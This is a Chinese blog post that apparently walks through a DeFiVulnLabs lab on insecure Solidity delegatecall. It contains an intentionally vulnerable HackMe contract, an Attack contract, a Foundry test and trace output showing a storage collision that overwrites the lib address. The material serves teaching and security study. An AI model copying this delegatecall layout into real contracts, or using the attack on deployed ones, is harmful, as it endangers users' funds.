Skip to main content

Command Palette

Search for a command to run...

DeFiVulnLabs靶场(三)不安全的Delegatecall2

Published
2 min readView as Markdown
C
酷愛計算機技術Ardently Love Computer Technology 長期關註反洗錢反欺詐Long-term Focus on Anti-Money Laundering and Anti-Fraud 精通支付結算的技術、系統、流程和製度Proficient in the Technology, System, Process and Institution of Payment and Settlement

DeFiVulnLabs详解汇总 [作者 Ice ThirdSpace]

  • 漏洞合约源码
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

contract Lib {
    uint public someNumber;
    function doSomething(uint _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint public someNumber;

    //构造函数设置owner
    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }

    //调用lib方法的doSometing函数,用于设置someNumber的值
    function doSomething(uint _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}
  • 攻击和测试合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "../src/Delegatecall2.sol";
import "forge-std/Test.sol";

contract Attack {
    address public lib;
    address public owner;
    uint public someNumber;
    HackMe public hackMe;

    constructor(address _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        hackMe.doSomething(1);
    }    
}

contract ContractTest is Test {
    Lib libContract;
    HackMe hackmeContract;
    Attack attackContract;
    address Alice;

    function setUp() public {
        Alice = vm.addr(1);
    }

    function testDelegatecall() public {
        libContract = new Lib();
        hackmeContract = new HackMe(address(libContract));

        console.log("Alice address is ", address(Alice));
        console.log("HackMe.lib address is ", hackmeContract.lib());

        attackContract = new Attack(address(hackmeContract));

        vm.prank(Alice);
        address(attackContract).call(abi.encodeWithSignature("attack()"));

        console.log("HackMe.lib address is ", hackmeContract.lib());
        console.log("Exploit completed, lib has been changed");        
    }
}
  • 测试结果
$ forge test Delegatecall2.t.sol -vvvv
[?] Compiling...
[?] Compiling 1 files with Solc 0.8.30
[?] Solc 0.8.30 finished in 2.97s

[PASS] testDelegatecall() (gas: 650815)
Logs:
  Alice address is  0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
  HackMe.lib address is  0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
  HackMe.lib address is  0x0000000000000000000000000000000000000001
  Exploit completed, lib has been changed

Traces:
  [650815] ContractTest::testDelegatecall()
    ├─ [58909] → new Lib@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   └─ ← [Return] 294 bytes of code
    ├─ [232111] → new HackMe@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   └─ ← [Return] 936 bytes of code
    ├─ [0] console::log("Alice address is ", 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
    │   └─ ← [Stop]
    ├─ [507] HackMe::lib() [staticcall]
    │   └─ ← [Return] Lib: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]
    ├─ [0] console::log("HackMe.lib address is ", Lib: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
    │   └─ ← [Stop]
    ├─ [195129] → new Attack@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
    │   └─ ← [Return] 862 bytes of code
    ├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
    │   └─ ← [Return]
    ├─ [2808] Attack::attack()
    │   ├─ [1849] HackMe::doSomething(1)
    │   │   ├─ [514] Lib::doSomething(1) [delegatecall]
    │   │   │   └─ ← [Stop]
    │   │   └─ ← [Stop]
    │   └─ ← [Stop]
    ├─ [507] HackMe::lib() [staticcall]
    │   └─ ← [Return] ECRecover: [0x0000000000000000000000000000000000000001]
    ├─ [0] console::log("HackMe.lib address is ", ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall]
    │   └─ ← [Stop]
    ├─ [0] console::log("Exploit completed, lib has been changed") [staticcall]
    │   └─ ← [Stop]
    └─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.16ms (1.50ms CPU time)
  • 简要说明

Lib 合约地址 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

HackMe 合约地址 0x2e234DAe75C793f67A35089C9d99245E1C58470b

HackMe 合约的状态变量 lib 就是传入的 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

攻击合约调用 attack() 函数,内部调用 HackMe 合约的 doSomething() 函数

而 HackMe 合约的 doSomething() 函数委托调用 Lib 合约的 doSomething() 函数

传入参数 1 之后,改变的是 HackMe 合约的 slot0 即状态变量 lib

More from this blog

Penetration Test、Python、Weaponization

721 posts

微信 smartcat9999 反欺詐Anti-Fraud 反洗錢Anti-Money Laundering 反逃稅Anti-Tax Evasion 滲透測試Penetration Test 武器化Weaponization